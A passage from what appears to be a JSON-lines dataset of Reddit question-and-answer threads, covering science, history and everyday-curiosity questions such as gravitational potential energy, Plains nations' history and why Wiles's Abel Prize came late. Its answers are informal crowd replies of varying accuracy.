Meiroop, \"Society and Enterprise in Old Babylonian Ur 1992, Van de Meiroop \"a History of the Ancient Near East\")\n\nAs the other commenter states, the Persian empire was not necessarily arid. However, you are correct in thinking that they had a centralized redistribution system. They would extract resources as tribute/trade from an area rich in that particular resource and then redistribute it from a central hub to areas in need. There are reliefs at Persepolis that are thought to maybe represent this ritual. (Allen, Lindsay \"The Persian Empire\" 2005)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4jfida", "title": "where is the true north pole of the earth on a map and how often does it changes position?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4jfida/eli5_where_is_the_true_north_pole_of_the_earth_on/", "answers": {"a_id": ["d366x8b"], "score": [7], "text": ["There are three north poles:\n\n1. The geographical north pole, as drawn on maps.\n\n2. The earth axis north pole, around which the earth rotates. This one shouldn't change to much.\n\n3. The magnetic north pole, around which the magnetic field is formed. This one now and then switches with the magnetic south pole.\n\nAll three are different kind of north poles."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2flkfu", "title": "Were the Native American's always as stoic as portrayed in the media? I once heard that it was because they believed that showing emotion was a sign of weakness. Is this true?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2flkfu/were_the_native_americans_always_as_stoic_as/", "answers": {"a_id": ["ckaeugi", "ckajtgg", "ckamirr"], "score": [12, 4, 6], "text": ["No. Humor was/is very important in traditional Native cultures. It was sacred even. It was specifically used to highlight that humans do have a lot of weaknesses so clowns/other figures showed how people act and explained why.", "Perfect timing! The [Horace Poolaw exhibit](_URL_0_) is up at NMAI George Gustav Heye\u2014he began photographing his fellow Kiowas only a few short years after non-native [Edward S. Curtis](_URL_1_) published his photogravure's in *North Native American*. \n\nAnyway no. Most photos of the 19th century of *anyone* features unsmiling people. You can look at the movies or photographs of Native by non-natives and compare them to movies or photographs by Native peoples. For example, Cherokee comedian [Will Rogers](_URL_2_) was the first Native American movie producer and was far from stoic.\n\nIt also makes a difference if the photographer dictated the subject (Curtis had a very specific vision of the \"Vanishing Indian\") or if the Indians themselves commissioned the photos. If you can get your hands on a copy of [*People of the Big Voice: Photographs of Ho-Chunk Families by Charles Van Schaick, 1879-1942*](_URL_3_), it's fantastic. These are portrait photos that Ho-Chunk families commissioned and include such gems as a family posing with their pet racoon and another of a wife and husband, in which the husband felt the need to pose with an apple stuffed in his mouth like a roast pig.", "As /u/brutalboonie and /u/ahalenia have pointed out, no.  Author Hampton Sides, in his book *Blood and Thunder*, described the Navajo's \"famous\" sense of humor as including an \"unslakable appetite for teasing and puns\" and \"delight in any incongruous or absurd situation.\"  Emotion was also on public display during times of sadness: \"The Arapaho relatives mourned in the self-flagellatory tradition of the tribe - pulling out hanks of hair, tearing at their own skin, perhaps cleaving a finger\" (also from *Blood and Thunder*).  As far as showing emotion with European colonists or their descendants, it would very much depend on time, place, and circumstance."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.cbsnews.com/pictures/horace-poolaw-american-indians-through-the-lens/", "http://memory.loc.gov/ammem/award98/ienhtml/curthome.html", "http://www.allthingscherokee.com/articles_culture_people_121800.html", "http://www.amazon.com/People-Big-Voice-Photographs-1879-1942/dp/0870204769"], []]}
{"q_id": "4e35ut", "title": "why do you \"drive\" a car, but \"pilot\" a boat, plane, etc.?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4e35ut/eli5_why_do_you_drive_a_car_but_pilot_a_boat/", "answers": {"a_id": ["d1wl68v"], "score": [13], "text": ["Automotive terms generally came from the haulage industry since they were the earliest mass adopters of automobiles. So like a team of horses you \"drive\" a truck. Aviation terms came largely from the nautical realm because navies were among the earliest adopters of planes. So you \"pilot\" a plane."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1p1qdx", "title": "If gravitational potential energy is defined as PE=mgh, where does the PE go when I lift an object beyond the gravitational field of Earth and the object freely floats into space?", "selftext": "I know that energy is neither created nor destroyed so where does it go when I put energy into lifting a ball to such a height \"h\" that it is out of Earth's gravitational field?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1p1qdx/if_gravitational_potential_energy_is_defined_as/", "answers": {"a_id": ["ccxtprw", "ccxtq0x", "ccxu4qi", "ccxvv5h", "ccxza91"], "score": [6, 16, 19, 2, 3], "text": ["You cannot move \"beyond\" the gravitational field of a planet. Gravitational fields extend infinitely.  They just become so weak that moving further away increases the potential energy by only a tiny, *tiny* amount.", "There is no beyond the gravitational field, it extends infinitely. However, when you get high enough above the surface the approximation mgh no longer holds and GmM(1/R-1/(h+R)) ", "mgh is valid only for the galilean flat-earth approximation. it's still perfectly useful for mundane, human-scale velocities and small structures. small here means that, compared to the radius of the earth, the maximum dimension of the object and the range of its movement (h in your notation) has to be much much smaller than earth's radius. human-scale velocities means that we are dealing with tiny fractions of the speed of light.\n\nOnly if all of these conditions are true can we make the flat-earth approximation and claim that dynamic energy is \u0394\u0395 = mg \u0394h.\nIf we go far enough from the earth, its curvature and finite size become too important to be ignored. According to Newtonian gravity, the gravitational field is not constant, but inversely related to the square of the distance. For a planet of mass M, it is G(r) = G0Mr^-2: which means that the gravitational field at the initial position is not the same as that of the final one.\n\nThe gallilean approximation works because if we say that r1 = r+h1 and r2=r+h2 and h1,h2  <  < r, then G(r1) = G(r2) = g(r) = g = +9,81ms^-2  (with vectors r and therefore G(r) pointing towards the center of the earth of course)\n\nIn the case you present, we have to use the newtonian approximation.\nIn that approximation, the further we go from earth, the smaller the gravitational field. while in theory the earth gravitational field extends infinitely outwards in the radial direction, after a certain point it becomes vanishingly small (because of that r^-2 factor). Which means that after a certain point there is no noticable dynamic energy change by going further and further away from the earth. Consider this. If we are close to the surface of mars, the earth gravitational field is still present, but, mars' gravity is a million times stronger. maybe if we approach the surface of mars a little more, mars' gravity will be 10 million times stronger. now ask yourself this: what is the difference 10.000.001 and 10.000.010?", "Another way to think about it is that gravitational potential energy  is defined as work done bringing a point mass from infinity to that point.  This value is negative (work = (-GMm/R))  and takes onto account the value of the gravitational field at that point from the planet.  ", "It still has the potential energy. \n\nIf the object was brought closer to the Earth the potential energy would start to be converted into velocity towards the Earth.\n\nOthers have explained about there not being an \"out of\" with respect to a gravitional fields. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "xo06p", "title": "Which sport has the fittest athletes?", "selftext": "This question comes out a a debate that a friend and I were having the other day where he asserted that rugby players were fitter all-round athletes than NFL players. I thought that the statistics from the combine would convince him that NFL athletes were superior, however, he made the very astute point that these drills represent the nature of the sport since all the drills concern fast-twitch muscle exercises, whereas in rugby the average playing time is three times that of the average NFL player. This got me thinking, is there anyway to scientifically compare the fitness of sportsmen and sportswomen? And is there a way to apply this to the question of which sport requires the fittest athletes?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/xo06p/which_sport_has_the_fittest_athletes/", "answers": {"a_id": ["c5o27e4", "c5o35jj"], "score": [4, 3], "text": ["You'll get arguments all around, but a lot of people think [maximal aerobic capacity](_URL_1_) is the best measure of fitness.  Most of the arguments seem to stem from what aerobic fitness \"fits\". It doesn't fit power lifting well, for example.\n\nCross country skiiers and cyclists dominate *these* VO2 max [test results](_URL_0_).", "To state the obvious, it depends on what you mean by \"fit\". A sprinter vs a marathoner: who's more fit? Impossible to answer really. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.topendsports.com/testing/records/vo2max.htm", "http://en.wikipedia.org/wiki/VO2_max"], []]}
{"q_id": "1xvl29", "title": "Suppose I have two permanent magnets, and I'm trying to force the two N poles together. While they're pushing against me, are photons passing between them, since they are the bosons of the electromagnetic force?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1xvl29/suppose_i_have_two_permanent_magnets_and_im/", "answers": {"a_id": ["cff6hxh"], "score": [7], "text": ["Yes, no, kind of. Electromagnetic forces are transmitted via virtual photons. Ie, the math you do to understand a quantum theory of electromagnetism *can be interpreted* in a way that photons are zipping back and forth between particles. It's a useful calculational tool, but it isn't precisely what we usually mean by particles.\n\nBut that being said, we can find that \"classical\" electromagnetic fields can be constructed from all these virtual photons, and classic field interactions are still quite valid, even if on the microscopic scale, the fields are discrete little pieces of field, the photon.\n\nSo when you have two magnets, with their two classical EM fields, it's sufficient, for physical purposes, to just use the classical field approximations. If you were to stick a \"photon detector\" between the two magnets, if I'm not mistaken, it would not pick up any photons, because the photons we're referring to here are... maths. Maths that look an awful lot like particles, but that's just one way to rearrange the integrals to make the equations solvable.\n\n[For more on virtual particles](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://profmattstrassler.com/articles-and-posts/particle-physics-basics/virtual-particles-what-are-they/"]]}
{"q_id": "d9b9qa", "title": "Can nondisjunction occur twice in the same meiotic cycle?", "selftext": "Hi all. Is it possible for nondisjuction to occur at both anaphase 1 and anaphase 2 and result in 4 sets of the X chromosome? In other words, is it possible for both the homologous chromosomes and the sister chromatids to not separate in the same cell cycle and have a resulting gamete with 4 copy's of a the X chromesome? All the examples I have seen say it either occurs in anaphase 1 or anaphase 2. \n\nThank You!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/d9b9qa/can_nondisjunction_occur_twice_in_the_same/", "answers": {"a_id": ["f1i0pxr"], "score": [2], "text": ["Probably, there are documented cases of [Pentasomy X](_URL_1_) where four of the chromosomes where maternal in origin [[1]](_URL_0_). It is thought to have been caused by successive nondisjunctions, but it is so rare that it would be all but impossible to prove."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1770429/", "https://en.wikipedia.org/wiki/Pentasomy_X#cite_note-Cho_2004-4"]]}
{"q_id": "ar0yfu", "title": "why is it that the wooden tray we use to cook pizza with doesn\u2019t burn inside the oven?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ar0yfu/eli5_why_is_it_that_the_wooden_tray_we_use_to/", "answers": {"a_id": ["egjz1vw", "egjzgut", "egk060s", "egk94k6"], "score": [7, 21, 15, 2], "text": ["In terms of catching fire, for something to catch fire without a spark, you need to hit what's called the autoignition temperature. This is the temperature in which something will spontaneously catch on fire (autoignite, self-fire). For wood, it seems to range between 300-400c based on the type -- compared to pizza oven temperatures which only go *up to* about 250c. I imagine the fact that the tray isn't *left* in the oven helps, as well.", "You don't cook pizza on wood. You either cook them on a pizza stone or you cook them on a pan. You move the pizza about with a large wooden paddle in some forms of cooking and it does not burn because it is not in the oven long enough to catch fire. ", "Just FYI, that \"wooden tray\" is called a \"pizza peel\". It's used to briefly transfer a pizza to the oven, not sit inside the oven.", "Most paper/wood products burn above temperatures of 450 F so while your pizza gets cooked, the tray doesnt."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3hlkug", "title": "why do we like reading about stuff that angers us?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3hlkug/eli5_why_do_we_like_reading_about_stuff_that/", "answers": {"a_id": ["cu8fjyy", "cu8ipk5", "cu8lj1g"], "score": [93, 14, 2], "text": ["Confirmation bias. If you read an article about something you really hate, and come away still hating that thing, you feel your hate is justified. Everyone likes feeling justified. ", "\"hate isn't the opposite of love, indifference is\"\r\rIn the same way, if something angers you it's because you care about that particular issue, so of course you feel compelled to read about it", "I've always wondered that - I love reading books about true crime (particularly the Sarah Payne and Jamie Bulger case, and the Wests).\n\nI also like reading the paedophile Wikipedia, just because I love hearing how they were caught out - I also then continue the story myself hoping that they were a victim of some kind of in jail riot etc. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "28mqnc", "title": "are competing body builders allowed to use steroids?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/28mqnc/eli5_are_competing_body_builders_allowed_to_use/", "answers": {"a_id": ["cice5qf", "cicezeh", "cicf1rg"], "score": [7, 2, 2], "text": ["It depends on the organization that's hosting the competition.  Some tout themselves as being \"natural\" competitions.  The sentiment is that for those competitions, the body builders are not allowed to use anabolic steroids to achieve their physique.\n\nEach organization has its own regulations and its own ways of enforcing them.  Whether everyone follows the rules is another matter entirely.", "Allowed by the contest promoter, yes, allowed by the federation that governs the contests, yes.  Allowed by the legal system, no. ", "Legally no. The competitions just don't test."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2b7fpv", "title": "I've read that humans used long distance running for hunting. How much science is really behind this theory? Are there other theories of how early humans hunted?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/2b7fpv/ive_read_that_humans_used_long_distance_running/", "answers": {"a_id": ["cj2nnyv", "cj2rf5u", "cj2twwm", "cj2z6r9"], "score": [9, 4, 3, 2], "text": ["It doesn't appear to be all that common. (At least not nearly as common as *Born to Run* implies) That being said it certainly has been used by humans in the past and in fact still occurs. There are a few tribes in Africa that still practice this technique. BBC did a piece on it [here](_URL_0_).\n\nTo be honest its one of the most awe inspiring feats I've ever seen humans endure. Gives me chills.", "The thing about humans is that we dont have a lot of hair and do have a lot of sweat glands.  Way more than most other mammals.  This means we are better at long periods of exertion than most other mammals because we can cool off so well.  ", "I think the \"long distance running\" is just one expression of our ultimate advantage -- planning and forethought.  It takes forethought, not just endurance, to run down an animal the way depicted in \"Born to Run\".\n\nI'd be very surprised if early humans didn't use forethought to use bait (big pile of leaves they can't eat, but their prey animals do eat), corrals (block off one side of a canyon), and ambushes.", "To answer your second question, I remember reading a study that suggested early humans did a lot of scavenging, similar to how the men in [this video](_URL_0_) accomplish it. I don't have the source on me right now, but I believe the evidence behind the theory was related to bones of prey animals with cut marks near the joints, indicating butchering by humans, in addition to bite marks and indicators of predation by other large predators. Maybe someone else can offer more information, but I'll look for the source and post if I can.\n\nI just did a cursory search of \"early human scavenging\" on Google Scholar and it seems like this idea is hotly contested. \n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=826HMLoiE_o"], [], [], ["https://www.youtube.com/watch?v=TBpu4DAvwI8"]]}
{"q_id": "cly5o8", "title": "why can\u2019t observatories be built in the ocean away from light pollution like oil platforms?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cly5o8/eli5_why_cant_observatories_be_built_in_the_ocean/", "answers": {"a_id": ["evym01o", "evyntil", "evyocgv", "evz55jt"], "score": [23, 15, 4, 3], "text": ["They can be, but you have to ask yourself if it's worth the money.\n\nThey would need a way to stabilize the platform that the observatory would be on, or at least to stabilize the telescope equipment, and that is not going to be cheap.\n\nThey need a way to supply electricity.\n\nIf there's someone living out there they need to bring them food and supplies regularly.\n\nOil platforms are money making machines. Observatories would not be.", "Having one on the ocean means that it is at sea level. It has more air above it to look through than the mountaintop observatory. Also all that water vapor tends to mess with the optics .", "It would be expensive to build and maintain, especially the stabilization of the telescope, and it might be difficult to get scientist working there. In addition to that one of the main limitations for an observatory is Earth's atmosphere so an observatory on a mountain (where light pollution is reduced also) is definitely preferable to one at sea level because there will be less atmosphere interfering with your picture - obviously a space telescope would be better but those are also more expensive and pretty limited in size due to launch constraints.", "Observatories are usually built on mountains. The high altitude means less atmosphere to penetrate, less weather interference, and fewer obstructions. At sea level, the mist/fog/drizzle etc would obsure the telescope's vision, the wave action would cause rocking, things could get in the way. Maintenance  &  construction costs would go up by orders of magnitude. Salt-water causes corrosion, complicated stabilizing mechanisms would be necessary, and accessing the observatory requires a boat or helicopter."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "c1buz1", "title": "how big is the internet? can it be define in gb or tb?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c1buz1/eli5_how_big_is_the_internet_can_it_be_define_in/", "answers": {"a_id": ["erc5nvj", "erc5u50", "erc9yws", "ercb02c", "erccjwj"], "score": [23, 12, 7, 11, 2], "text": ["Bigger.  It's on the order of 1000 of petabytes.   And growing.\n\nA petabyte is 1000x terabyte", "Big can mena a lot of number of stuff.\n\nHow many computer or humans uses it. The amount of data stored on public servers, the amount of transferred data over hen internet.\n\nAll can be measures of how big is is.\n\nOn [_URL_0_](_URL_0_)  you ca see estimation of a lot of number that you might care about.", "Honestly.... No. The internet cannot be quantified into a size because any number given is immediately out of date. Sites are constantly growing, new sites are being created, and old ones are being recycled, taken down.\n\nThe entire internet is thousands, if not millions of TB, and always changing.", "It depends on how you define \"the internet\" and what you want to measure.\n\nInternet is not only web pages (this is the *world wide web* or *web*) but online gaming, video and audio streaming (entertainment or calls), emails, file sharing, etc...\n\nDo you consider what's public only or not ? Meaning if I send you an email, it's not public (it's between you and me) but it's still \"belongs\" to \"the Internet\" ?\n\nAnd what's the time frame ? Everything that has ever been created and stored ? Maybe only in one second ? And what about content that have been deleted ?\n\nIndeed it's pretty hard to define where the boundaries of the Internet are. Like are Reddit's servers \"in the Internet\" ? Or not ? Or only those which are public-facing ? Or maybe no servers but only their routers ? There is a lot of things to take into account.\n\nEither way, I think it's measured in [Zettabytes](_URL_0_) or even more (depending on what you take into account).\n\nHere is some numbers from that Zettabyte wikipedia page :\n\n* As of 2009, the entire World Wide Web was estimated to contain close to 500 exabytes, or half a zettabyte.\n* In 2012, U.S. Americans accessed already 6.9 zettabytes of data per a 2013 study.\n* In 2013, one expert estimated that the \"amount of data generated worldwide\" would reach 4 zettabytes by the end of the year.\n\nI probably brings more questions than answers but your question is too open to give you a clear answer. And even it were more precise, as you see, it's pretty hard to establish boundaries...\n\nP.S: Sorry for my english, I'm not english native. I hope it still bring an acceptable answer to you :)", "ELI5?  Really really really big.  Can it be defined in GB or TB?  Technically, yes, but that would be like asking how many gallons of water are in Lake Michigan.   A lot!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.internetlivestats.com/"], [], ["https://en.wikipedia.org/wiki/Zettabyte"], []]}
{"q_id": "1p5i46", "title": "I'm a Plains Native American in 1840. How different is my life from my ancestor's in 1540?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1p5i46/im_a_plains_native_american_in_1840_how_different/", "answers": {"a_id": ["ccz32ij", "cd0xdh1"], "score": [23, 2], "text": ["\n\n\n\n\n\nI can add two huge differences in their society between 1540 and 1840. \n\n1. First, is by the late 18th century, horses had become ubiquitous on the plains which completely changed the ways Native Americans hunted, transportation, communication, and trade. I actually learned in this subreddit of the 1680 Pueblo Revolt where one of the first large caches of horses escaped. After that, horses spread all along the plains and Comanche and other tribes created big trade networks over the plains, where horses were a big commodity. Social-dynamics changed and different tribes became more dominant while others waned.\n\n2. Is trade with white settlers is well established and Native Americans have access to new technologies such as western clothing, boots, guns, and rum, which also transformed their society away from their traditional roots. ", "In addition to what /u/mystical-me said, depending on which Plains nation you hypothetically belong to, there's a very good chance that you're ancestors in 1540 didn't live on the Plains in the first place, or in did so in a very different area of the Plains.\n\nThe Arapaho and Cheyenne were living in the northwest quarter of Minnesota in the mid-1600s. The expansion of the Niswi-mishkodewin (The Council of Three Fires--the Ojibwe, the Odawa, and the Potawatomi)  in the western Great Lakes, and the [Nehiyaw-Pwat](_URL_1_) (The Iron Confederacy, an alliance between the Cree and the Hohe) in the northern Plains started a domino effect that pushed them west and south. According to Cheyenne historical accounts, they reached the Missouri River in 1676.\n\nMeanwhile, the nations of the O\u010dh\u00e9thi \u0160ak\u00f3wi\u014b (The Seven Council Fires, or the Great Sioux Nation) were also living along the upper Mississippi, and when Minnesota became the frontier for the expanding Niswi-mishkodewin and Nehiyaw-Pwat, the O\u010dh\u00e9thi \u0160ak\u00f3wi\u014b began pushing west as well. The Lakota were the vanguard of that westward expansion. They pushed the Cheyenne and Arapaho over the Missouri in the first half of the 1700s, shortly after receiving horses from the Cheyenne in the 1730s. The Lakota expansion was temporarily halted then, as they were running up against the future members of the Three Affiliated Tribes: Mandan, Hidatsa, and Arikara nations.\n\nThe Mandan, Hidatsa, and Arikara nations lived in large, permanent villages along the Missouri. They farmed the river valley, hunted on the surrounding plains, and were the merchant-princes of the Plains. Their fortified towns on a major river made them a convenient and reliable place to gather and do business. The Mandan, especially, made lucrative arrangements with various Euro-American powers that made their way onto the Plains. These powerful towns, with their Cheyenne and Arapaho allies behind them, prevented the O\u010dh\u00e9thi \u0160ak\u00f3wi\u014b from claiming both sides of the Missouri until a smallpox epidemic swept through in the late 1700s. By the time the Lewis and Clark reached the area, the conflict had turned in the Lakota's favor. The Mandan, Hidatsa, and Arikara were concentrated into fewer and smaller towns, and the Cheyenne and Arapaho were pushed southwest. \n\nThe Cheyenne and Arapaho made a form alliance with one another in 1811, as they were now caught between two expanding powers--the O\u010dh\u00e9thi \u0160ak\u00f3wi\u014b to their north and the Comanche to the south--with no other allies.\n\nIn 1700 the Comanche were a young offshoot of the Shoshone. They lived in the Great Basin and formed and alliance with the large and more powerful Utes.  Around this time, the Comanche moved onto the Plains originally with some of the Utes, but the Utes eventually returned to the Great Basin while the Comanche found new home on the Plains. They acquired horses from the Apache, who had been expanding onto the southern Plains throughout the 1600s at the expense of the Jumanos.\n\nThe Comanche mastered horsemanship quickly and overtook much of the southern Plains throughout the 1700s, which became known as [Comancheria](_URL_0_) to Euro-Americans. They were exerting an incredible amount of political power in southern plans throughout much of the 1700s and 1800s, much to the annoyance of the Spanish and Mexican (and later US) governments that also claimed that territory. The Comanche actually became on of the main *suppliers* of firearms in the region, as they acquired far more than they needed through trade and raiding. By the first half of the 1800s they formed the backbone of an alliance that also included the Plains Apache and the Kiowa.\n\nThe Kiowa are an interesting nation, and a bit mysterious. According to their own history, they originally lived on the Missouri River until they also got pushed westward, to eventually settle in the Black Hills region. From there they were eventually driven south by the Cheyenne in the mid-1600s. In the 1700s, they allied with the Comanche and pushed back against the Cheyenne and Arapaho. What complicates matters is that they speak a language that's closely related to those spoken in many of the pueblos along the upper Rio Grande, which makes the Missouri an unlikely homeland for them. One historian, Dan Flores, has suggested that the Kiowa are the descendants of the Jumanos, who were pushed north by the Apache only to be driven south again by the Cheyenne."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://genealogyreligion.net/wp-content/uploads/2012/11/Comancheria.jpg", "http://en.wikipedia.org/wiki/Iron_Confederacy"]]}
{"q_id": "15a7rk", "title": ". riemanns metric tensor", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/15a7rk/eli5_riemanns_metric_tensor/", "answers": {"a_id": ["c7koiy6"], "score": [3], "text": ["A true eli5 would be pretty much impossible here, but I'll give it a shot...\n\nSuppose you are looking at a map- the map is flat, but the area it shows is not- the challenge is to take a path on the map and find the length of the corresponding path in the real world (and, as we will see, the slopiness of the represented area means that this is not just a scaled up version of the length on the map). We do this by gradually building up our measuring technology.\n\nWe start with the pythagorean theorem: if we are talking straight paths on flat terrain, moving dx in the x-direction, dy in the y-direction, the length of the diagonal path is sqrt{dx^2 + dy^2 } (we're totally ignoring scale).\n\nNow let's try on a hill, say, going up at 45\u00b0 as you move in the x direction, horizontal in y. Now observe that as we move in the x direction on the map, what from our map viewpoint looks like a horizontal dx is actually more in the real world- not horizontal at all, but diagonally upwards. A swift slice of trigonometry shows that the actual length of what looks like dx on our map is actually dx/Sin(45\u00b0)=sqrt{2}dx. Since this move is still at right-angles to the y-direction pythagoras still applies so we get the real length as sqrt{2dx^2 + dy^2 }.\n\nAdding a 45\u00b0 slope in the y direction gives sqrt{2dx^2 + 2dy^2 }. Experimenting even more with tilts in other directions we get stuff like sqrt{2dx^2 + 4dxdy + 3dy^2 }. The numbers 2, 4 and 3 are the forerunnerof the metric tensor.\n\nAll we need to do now is let these numbers change with the slope as we move around the map, use calculus to deal with non straight lines and boom- challenge complete! The metric tensor is born...\n\n**Edited** for formatting- original on phone"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "19yyzo", "title": "Compared to the greatest militaries of the past, how does the current United States military compare?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/19yyzo/compared_to_the_greatest_militaries_of_the_past/", "answers": {"a_id": ["c8smiec", "c8snb27"], "score": [3, 4], "text": ["While I'm no historian, I am military, and the actual capabilities have many technologies that put it at exponentially more effective than militaries of any past.\n\nConsider communications. The speed in which units can share data, information and orders over as wide an area, against units who basically had to use standards, or messangers. the speed difference in that is the difference between asking if email is better than carrier pidgeon.\n\nConsider lethality. There is no argument that in the ability to destroy things, we have gotten exponentially better at it, and the last 30 years are basically increasing precision, not so much increasing lethality. \n\nLogistics are another thing. The ability to project force. from the olden days of having to hire boats to bring troops across the english channel, to now, where any platoon is able to have boots on the ground anywhere in the world in a matter of 8 hours-ish\n\nThe only things that ancient militaries (pre WW2) would have over today is robustness. A sunspot is a threat that only exists in a modern sense. A resource shortage (oil) as well. The machine breaks down, and older armies would probably do much better in the long term after a long period of attrition.\n\nAs far as morale, which would be the long term killer. I can't speak of the ancients (though we all know the spartan stories) but I think theres a case to the willing hardship and fanatical belief of afterlife by many ancient armies puts them at an advantage to modern armies, many modern armies have never had to make the choise to die honourably.\n", "William Astore wrote a short essay on this question.\n\n*I\u2019m a retired U.S. Air Force officer and a historian who teaches military history.  The retired officer in me warms to the sentiment of our troops as both unparalleled fighters and selfless liberators, but the historian in me begs to differ.*\n\n*Let\u2019s start with the fighting part of the equation.  Are we truly the world\u2019s greatest fighting force, not only at this moment, but as measured against all militaries across history?  If so, on what basis is this claim made?  And what does such triumphalist rhetoric suggest not just about our national narcissism, but Washington\u2019s priorities?  Consider that no leading U.S. politician thinks to boast that we have the finest educational system or health-care system or environmental policies \u201cthat the world has ever known.\u201d*\n\n*Measured in terms of sheer destructive power, and our ability to project that power across the globe, the U.S. military is indeed the world\u2019s \u201cfinest\u201d fighting force.  Our nuclear arsenal remains second to none.  Our air forces (including the Navy\u2019s carrier task forces, the Army\u2019s armada of helicopter gunships, and the CIA\u2019s fleet of unmanned aerial drones prosecuting a \u201csecret\u201d war in Pakistan) dominate the heavens.  Our Navy (\u201ca global force for good,\u201d according to its new motto) rules the waves -- even more so than old Britannia did a century ago.  And well should we rule the skies and seas, given the roughly one trillion dollars a year we spend on achieving our vision of \u201cfull spectrum dominance.*\n\n*But this awesome ability to exercise \u201cglobal reach, global power\u201d hardly makes us the finest military force ever.  After all, \u201cfinest\u201d shouldn\u2019t be measured by sheer strength and reach alone ...*\n\nThe rest is here:\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.tomdispatch.com/blog/175337/tomgram%3A_william_astore%2C_we%27re_number_one_%28in_self-promotion%29"]]}
{"q_id": "4azi3m", "title": "Why did it take more than two decades for Andrew Wiles to win the Abel Prize for solving Fermat's Last Theorem?", "selftext": "This was one of the most famous problems and events in Mathematics, so I'm wondering what took so long.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4azi3m/why_did_it_take_more_than_two_decades_for_andrew/", "answers": {"a_id": ["d14vlw2"], "score": [40], "text": ["[He's won a ton of prizes already](_URL_6_), most of those are for Fermat's Last Theorem. Though he also did a lot before that, most notably he proved the \"[Main Conjecture of Iwasawa Theory](_URL_1_)\", which was already a huge fucking deal. But the Abel Prize was created in 2003, nine years after he proved Fermat's Last Theorem so there was no rush to give another award to Wiles. [The winners before Wiles](_URL_4_) are mostly all older and have generally shaped how we have done math since the 1950s-1970s. While Wiles' proof is groundbreaking and changed Number Theory forever, it has not yet had the same breadth of impact as all the work of Serre, Tate or Deligne who are gods of Number Theory. Wiles' work would not have been possible without them, they're a few of the giants whose shoulders he stood on.\n\n* [Jean Pierre Serre](_URL_2_), along with [Alexander Grothendieck](_URL_9_), probably the top mathematicians of the 20th century, revolutionized Number Theory by making it a geometric subject, a line of thought that is still trying to be understood. The tools, perspectives and theorems of Serre (not to mention his million books) had the impact on number theory in the same way that the microprocessor revolutionized technology.\n\n* [John Tate](_URL_0_) with his infamous [thesis](_URL_3_) brought in the tools of analysis and Fourier transforms into Number Theory leading to entirely new perspectives on older results in Number Theory. Following these ideas eventually lead to the formulation of [Langlands Program](_URL_5_) which is the most ambitious an overarching list of conjecture in all of math, linking ideas in geometry, number theory and mathematical physics. I think that the only reason why Langlands Program is not a Millennium Prize Problem is because they wanted problems that could possibly be proved within the next millennium. Aside from this, Tate has formulated, proved and extended many results in higher order arithmetic theories, which include things like Elliptic Curves.\n\n* [Pierre Deligne](_URL_7_) was a student of Grothendieck and used the theory that he and Serre created to prove the [Weil Conjectures](_URL_8_), which is a geometric version of the Riemann Hypothesis. While not as intricate as Wiles' proof and not as easy to communicate to laypeople, this proof was just as groundbreaking. Deligne furthered Serre and Grothendieck's ideas and is a main contributor to Arithmetic Geometry, the field the sprouted from these ideas.\n\nAll of these people deserve recognition before Wiles, and Wiles would agree. This is not to devalue Wiles at all, but to acknowledge how much these people have shaped everything we do in modern number theory. Wiles' proof is still relatively new, so it's hard to exactly determine it's impact, whereas these people have had a noticeable and significant impact to the field.\n\nAnd, as great as number theory is, it would be a little suspicious if all the Abel Prizes went to number theorists. Other fields do amazing things too and those people should be acknowledged as well. People like Nash and Atiyah have played roles similar to Serre or Tate, just in their respective fields.\n\n(Grothendieck doesn't get one because 1. he's dead, 2. he would have spit on it, he left math in protest for a secluded life in the 80s)"]}, "title_urls": [], "selftext_urls": [], 